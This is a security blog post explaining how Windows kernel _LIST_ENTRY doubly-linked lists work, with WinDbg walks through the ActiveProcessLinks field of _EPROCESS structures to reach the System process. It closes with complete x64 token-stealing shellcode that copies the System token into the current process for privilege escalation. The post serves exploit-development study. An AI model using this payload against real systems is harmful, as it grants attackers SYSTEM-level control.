OSCE3 | OSCE | OSCP
Recently I have been studying different Kernel structures and it suddenly occurred to me that there is a pattern used by Microsoft to implement doubly-linked lists within their structures. I’m pretty sure this is common knowledge to a lot of people, but I thought I would put a brief post together explaining them… just in case, like me you need it.
If you have ever studied Kernel driver exploitation or even done a lab where a custom driver is used to get privilege escalation then you are probably familiar with token stealing shellcode. Now, you may have just copied and pasted the shellcode into your exploit (tut tut) but if you understand how the System
process is enumerated then doesn’t that feel a bit better?
If you didn’t just copy and paste the shellcode and you tried to understand it then you will have noticed that there is a doubly-linked list that you need to traverse until you find the System
process. This is the ActiveProcessLinks
field in the _EPROCESS
structure.
The next image will explain what a doubly-linked list looks like. It is simply a collection of _LIST_ENTRY
structs, each containing a Flink
(forward link), and a Blink
(backwards link) field:
The Flink
contains a pointer to the next _LIST_ENTRY
and the Blink
contains a pointer to the previous _LIST_ENTRY
. Also notice that they are circular, meaning the tail (last entry) has an Flink
to the head (first entry) and vice-versa. All good so far.
Now the confusion (at least for me). If the doubly-linked list is inside an _EPROCESS
structure, say the ActiveProcessLinks
field, where is the field that points to the _EPROCESS
?
It turns out it isn’t confusing at all, although there isn’t a pointer to the _EPROCESS
structure, it’s actually really easy to understand, I just didn’t know until after observing a few of these lists it just occured to me. Yeah I know! That’s what happens when you do an IT degree instead of a computer science degree!
The address of the Flink
field, and of course the Blink
field are simply offsets of the _EPROCESS
structure! That is the address of _LIST_ENTRY
is inside the _EPROCESS
structure at an offset, to traverse the link, say to get the next _EPROCESS
we dereference the Flink
and use that address minus the offset of ActiveProcessLinks
to get the address of the next _EPROCESS
.
If we break in to the kernel of a debugee we can set the process context to a cmd.exe
instance that was started:
1: kd> !process 0 0 cmd.exe
PROCESS ffff82862f1240c0
SessionId: 1 Cid: 1bf8 Peb: fe5bc63000 ParentCid: 11d4
DirBase: 1e6040002 ObjectTable: ffffe1052fb17000 HandleCount: 70.
Image: cmd.exe
Next, we can examine the ActiveProcessLinks
field which contains the _LIST_ENTRY
for the next and previous _PROCESS
structures:
1: kd> dt _EPROCESS ffff82862f1240c0 ActiveProcessLinks
nt!_EPROCESS
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8286`2f068508 - 0xffff8286`317dc508 ]
Using 0xffff82862f068508
we can follow the Flink
and examine the next _EPROCESS
by subtracting the ActiveProcessLinks
field offset:
1: kd> dt _EPROCESS (0xffff82862f068508-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`00000890 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xfffff800`116263a0 - 0xffff8286`2f124508 ]
+0x5a8 ImageFileName : [15] "conhost.exe"
Continue walking the ActiveProcessLinks
doubly-linked list and we will arrive at the System
process:
1: kd> dt _EPROCESS (0xfffff800116263a0-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
+0x440 UniqueProcessId : (null)
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8286`2c274488 - 0xffff8286`2f068508 ]
+0x5a8 ImageFileName : [15] ""
1: kd> dt _EPROCESS (0xffff82862c274488-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`00000004 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8286`2c35d4c8 - 0xfffff800`116263a0 ]
+0x5a8 ImageFileName : [15] "System"
Just for completion we can also examine the Blink
in the conhost.exe
process and confirm that we arrive back at the cmd.exe
process where we started:
1: kd> dt _EPROCESS (0xffff8286`2f124508-0x448) UniqueProcessId, ActiveProcessLinks, ImageFileName
nt!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`00001bf8 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8286`2f068508 - 0xffff8286`317dc508 ]
+0x5a8 ImageFileName : [15] "cmd.exe"
The following shellcode is typical token stealing shellcode used in privilege escalation attacks:
BITS 64
SECTION .text
SYS_PID equ 0x04
PRCB_DATA equ 0x180
CURRENT_THREAD equ 0x08
APC_STATE equ 0x98
PROCESS equ 0x20
UNIQUE_PROCESS_ID equ 0x440
ACTIVE_PROCESS_LINKS equ 0x448
TOKEN equ 0x4b8
global main
main:
find_process:
xor rax, rax
mov rax, [gs:rax+PRCB_DATA+CURRENT_THREAD]
mov rax, [rax+APC_STATE+PROCESS]
mov r8, rax
mov r9, SYS_PID
next_system_process:
mov r8, [r8+ACTIVE_PROCESS_LINKS] ; We dereference the Flink in to r8
sub r8, ACTIVE_PROCESS_LINKS ; We subtract the offset to get the address of the next _EPROCESS
cmp [r8+UNIQUE_PROCESS_ID], r9 ; We check the process ID (looking for 4 = System)
jnz next_system_process ; if not then loop back to dereference the next Flink
found_system_process:
mov rcx, [r8+TOKEN]
and cl, 0xf0
mov [rax+TOKEN], rcx
I have only commented the bits discussed in this post.
That is all, go away!
Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.